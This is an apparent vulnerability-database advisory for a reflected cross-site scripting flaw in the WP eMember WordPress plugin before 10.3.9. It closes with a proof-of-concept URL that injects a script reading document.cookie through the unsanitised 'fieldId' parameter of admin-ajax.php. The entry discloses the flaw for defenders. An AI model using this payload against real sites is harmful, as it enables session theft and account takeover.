WP eMember < 10.3.9 - Reflected XSS

2024-05-1400:00:00

kauenavarro

wordpress

emember

xss

reflected

security

exploit

update

AI Score

9.3

Confidence

High

EPSS

Percentile

9.0%

JSON

Description The plugin does not sanitize and escape the “fieldId” parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting.

https://www.example.com/wp-admin/admin-ajax.php?fieldId=<script>alert(document.cookie)</script>&action=check_name